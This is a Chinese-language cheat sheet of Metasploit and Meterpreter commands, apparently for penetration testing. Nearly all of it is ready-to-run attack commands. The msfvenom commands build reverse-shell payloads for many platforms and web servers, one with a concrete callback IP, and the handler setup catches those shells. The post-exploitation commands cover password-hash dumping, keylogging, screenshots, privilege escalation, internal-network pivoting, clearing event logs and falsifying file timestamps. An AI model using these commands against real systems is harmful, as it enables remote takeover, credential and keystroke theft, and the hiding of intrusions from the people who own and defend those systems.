Metasploit和Metepreter的基礎命令
0X01 - 初始化msf資料庫
輸入msfc(tab補全),進入msf視窗
(1)啟動postgresql資料庫
1 [root@kali ~]# service postgresql start
(2)對msf進行資料庫初始化
1 [root@kali ~]# msfdb init
(3)輸入msfconsole進行msf介面
(4)在msf介面輸入db_status檢視msf與postgresql資料庫的連線狀態
1 [root@kali ~]# db_status
0X02 - Metasploit基礎命令
1 msf > search ms17 //查詢 2 msf > use exploit/multi/handler //使用 3 msf > info //檢視資訊 4 msf > show options //或者exploits、payloads 顯示可用資訊 5 msf > set options //或者payload 給相關物件賦值 6 msf > run //或者exploit 執行 7 msf > exploit -j //後臺執行 8 msf > back //返回上一級 9 msf > session -i //檢視當前可用會話 10 msf > session -K //殺死所有活躍會話
0X03 - msf各種payload生成命令
Linux
1 [root@kali ~]# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
1 [root@kali ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
1 [root@kali ~]# msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
2 [root@kali ~]# Web Payloads
PHP
1 [root@kali ~]#msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php 2 [root@kali ~]#cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
1 [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
1 [root@kali ~]#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
1 [root@kali ~]#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war 2 [root@kali ~]#Scripting Payloads
Python
1 [root@kali ~]#msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
1 [root@kali ~]#msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
1 [root@kali ~]#msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits
Linux Based Shellcode
1 [root@kali ~]#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
1 [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
2 生成一個Metepreter的payload
[root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f exe > /root/Desktop/msf.exe
3 生成一個非Metepreter的payload
[root@kali ~]#msfvenom -p windows/shell/reverse_tcp LHOST=172.26.26.213 LPORT=4444 -f exe > /root/Desktop/msf2.exe
Mac Based Shellcode
1 [root@kali ~]#msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z
0X04 - Metepreter基礎命令
Core Commands #核心命令
1 background #把當前Metepreter會話放到後臺執行 2 exit #直接中斷當前Metepreter會話 3 migrate #程序遷移 4 run #呼叫meterpreter script or Post module 5 load #載入meterpreter擴充套件程式 6 msv #獲取的是hash值 7 wdigest #讀取記憶體中存放的賬號密碼明文資訊 8 run #呼叫meterpreter自帶指令碼和Post模組 9 run post/windows/gather/checkvm #是否虛擬機器(windows) 10 run post/linux/gather/checkvm #是否虛擬機器(linux) 11 run post/windows/gather/forensics/enum_drives #檢視分割槽 12 run post/windows/gather/enum_applications #獲取安裝軟體資訊 13 run post/windows/gather/dumplinks #獲取最近的檔案操作 14 run post/windows/gather/enum_ie #獲取IE快取 15 run post/windows/gather/enum_chrome #獲取Chrome快取 16 run post/windows/gather/enum_patches #補丁資訊 17 run post/windows/gather/enum_domain #查詢域控 18 19 Msf新增內網路由 20 run get_local_subnets 21 run autoroute -s 192.168.10.0/24 22 run autoroute -p
File system Commands #檔案系統命令
1 pwd / getwd #顯示被控伺服器當前工作路徑 2 cd #切換目錄 3 dir / ls #顯示當前目錄的檔案 4 cat #檢視檔案內容 5 edit #編輯檔案 6 cp #複製檔案 7 mkdir #新建資料夾 8 mv #移動檔案 9 rm #刪除檔案 10 rmdir #刪除資料夾 11 search #搜尋檔案 search -d d:\\www -f *.config 12 show_mount #顯示作業系統所有碟符 13 download #下載檔案 14 getlwd /lpwd #顯示當前本地系統的路徑 15 lcd #切換本地系統的路徑 16 lls #顯示本地系統的檔案 17 upload #上傳檔案
Networking Commands #網路相關命令
1 arp 2 getproxy 3 ifconfig / ipconfig 4 netstat 5 resolve 6 route 7 portfwd #埠轉發 8 portfwd add -l 1234 -p 3389 -r 192.168.10.130 # 192.168.10.130是當前被控伺服器的網絡卡上顯示的ip地址,不區分內外網 9 portfwd delete -l 1234
System Commands #系統相關命令
1 clearev #清除日誌,需要高許可權 2 execute #執行被控伺服器上的某個程式 3 getuid #顯示當前許可權,類似於whoami 4 kill #終結某個程序 5 ps #顯示系統所有程序 6 shell #進入系統shell終端 7 sysinfo #顯示作業系統基本資訊
User interface Commands #使用者相關命令
1 keyboard_send #傳送鍵盤按鍵值過去 2 keyscan_start #開啟鍵盤記錄 3 keyscan_stop #停止鍵盤記錄 4 keyscan_dump #獲取鍵盤記錄 5 mouse #傳送滑鼠點選事件 6 screenshot #螢幕截圖
Elevate Commands
1 getsystem #msf內建的一鍵提權,需要普通使用者許可權(工作組普通使用者/域普通使用者)
Password database Commands
1 hashdump #獲取系統hash值,需要system許可權
Timestomp Commands
利用timestomp功能模組修改檔案時間
1 meterpreter > timestomp c:\\www -c "09/09/1980 12:12:34" #修改檔案建立時間 2 meterpreter > timestomp c:\\2.txt -m "01/01/1991 12:12:34" #修改檔案修改時間 3 meterpreter > timestomp c:\\2.txt -f c:\\1.txt #將檔案1.txt屬性複製到2.txt